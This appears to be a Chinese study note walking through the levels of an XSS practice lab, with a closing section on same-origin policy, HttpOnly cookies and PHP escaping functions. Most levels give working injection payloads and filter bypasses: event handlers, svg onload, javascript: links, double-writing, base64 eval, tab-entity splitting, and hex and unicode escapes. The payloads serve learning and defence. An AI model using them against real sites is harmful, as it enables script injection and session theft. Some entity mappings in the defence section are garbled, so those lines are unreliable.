本篇为XSS学习记录,学的不够规范,可以学习到1.事件触发 2.JS伪协议绕过3.双写绕过4.eval搭配JS伪协议解编码绕过5.空格绕过6.十六进制,unicode编码绕过

7.设置httponly防止xss攻击8.了解同源策略9.三个过滤函数,当然也可以自行编写过滤函数(可用正则)

2.”><script>alert(document.domain);</script>
“onmouseover=alert(document.domain)>  onmouseover鼠标移动到就触发
3.select元素可创建单选或多选菜单
<select>元素中的<option>标签用于定义列表中的可用选项
抓包在 Japan<script>alert(document.domain);</script>
4.HTML表单隐藏参数
HTML中svg介绍
SVG意为可缩放矢量图形
SVG使用XML格式定义图像
SVG文件可通过以下标签嵌入HTML文档:<embed><object><iframe>
也可以使用svg标签插入
<svg/事件=””>
payload:在p3处
<script>alert(document.domain);</script>
“><svg onload=alert(document.domain)>%0a
onload加载页面就触发
5.HTML表单文本框介绍
HTML表单用于搜集不同类型用户输入。表单元素指的是不同类型的input元素,复选框,单选按钮,提交按钮等等。text定义常规文本输入

属性介绍:
value属性规定输入字段的初始值
readonly属性规定输入字段为只读(不能修改)
disabled属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。
size属性规定输入字段的尺寸(以字符计)
maxlength属性规定输入字段允许的最大长度
如设置maxlength属性,则输入控件不会接受超过所允许数的字符
payload:修改长度
“><script>alert(document.domain);</script>
“><svg onload=alert(document.domain)>%0a
“onmouseover=alert(document.domain)>
6.payload 会将<转义因此可使用事件触发”onmouseover=”alert(document.domain)闭合单引号
7.空格分隔属性的XSS
测试111 111    111 111=111  111=”111″
会发现他会自行加上引号
111 onmouseover=alert(document.domain)
8.JS伪协议触发XSS
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中哦的javascript代码中含有多个语句,必须使用分号将这些语句分隔开
javascript:var now = new Date();”<h1>asas</h1>”+now;
javascript:URL还可以含有只执行动作,但不返回值得javascript语句
当输入内容出现在href属性中,可以使用Js伪协议
payload:javascript:alert(document.domain);
9.utf-7已经不常用了,直接过去在hint出修改为<span id=”hide” onclick=”alert(document.domain)”>点击即可
10.绕过过滤domain为空的XSS
测试后发现同第五关一样
“><script>alert(document.domain);</script>
但是domain被过滤了
可以尝试双写和编码绕过
“><script>alert(document.dodomainmain);</script>
“><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==’));</script>
atob将base64解码
11.绕过script和on事件的XSS
测试
“>onmouseover=”alert(document.domain)” onxxxx
“><script>alert(document.domain);</script>   <xscript>
伪协议测试绕过
“><a href=”javascript:alert(document.domain)”>xss</a>
javascript变成了javaxscript
空格绕过:
payload:”><a href=javascri&#09pt:alert(document.domain)>test</a>   //&#09 tab制表符html十进制编码
“><a href=javascri pt:alert(document.domain)>test</a> // 是html5的换行符,:是冒号
12 IE浏览器特性:“相当于”
payload:“onmouseover=alert(document.domain) 

JS会识别十六进制及unicode的3c,3e对应<,>
15.当输入的<会被转义成<尝试用十六进制绕过
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
16.尝试使用\\+unicode绕过
\\u003cscript\\u003ealert(document.domain);\\u003c/script\u003e

17浏览器同源策略介绍:
源的含义:源指源头,信息来源的位置。在计算机中源在RFC6454文档中规定,源是由协议、主机名、端口组成
范例:协议://主机名:端口号/
注:http://example.com和https://example.com是不同源的
同源策略
在计算机中,同源策略(Same-Origin Policy,SOP)用于阻止一个非同源的页面恶意代码去访问另外一个非同源页面
只有两个页面属于同一个源才能互相访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方子渊,所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错的
例如:源A页面要访问源B页面认证cookie,如果不加组织读取cookie,会造成cookie欺骗绕过登录验证
cookie httponly可以一定程度防止XSS
setcookie(name,value,expire,path,domain,secure)
name 必须。规定cookie的名称
value 必须。规定cookie的值
expire 可选。规定cookie的有效期
path 可选。规定cookie的服务器路径
domain 可选。规定cookie的域名
secure 可选。规定是否通过安全的HTTPS连接来传输cookie
setcookie(“abc”,”test”,NULL,NULL,NULL,NULL,TRUE)设置最后一项为TRUE,就不能使用JS获取cookie了

XSS防御
htmlspecialchars()函数把预定义的字符转换为HTML实体
预定义的字符是:&–& “–”  ‘–‘ <–< >–>
该函数作用是转换成字符串,使原有含义失效
<?php
    $str = “<script>alert(document.cookie)</script>”;
    echo $str;
    $str1 = htmlspecialchars($str)
    echo ‘\n’.$str1;
?>
会因为第一个echo弹框,第二个echo输入字符到页面上
htmlentities()函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被转换为HTML实体<(<),输如>就被转换为>(>)
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签
注释:该函数始终会剥离HTML注释。这点无法通过allow参数改变
注释:该函数是二进制安全的
会删除<script>和</script>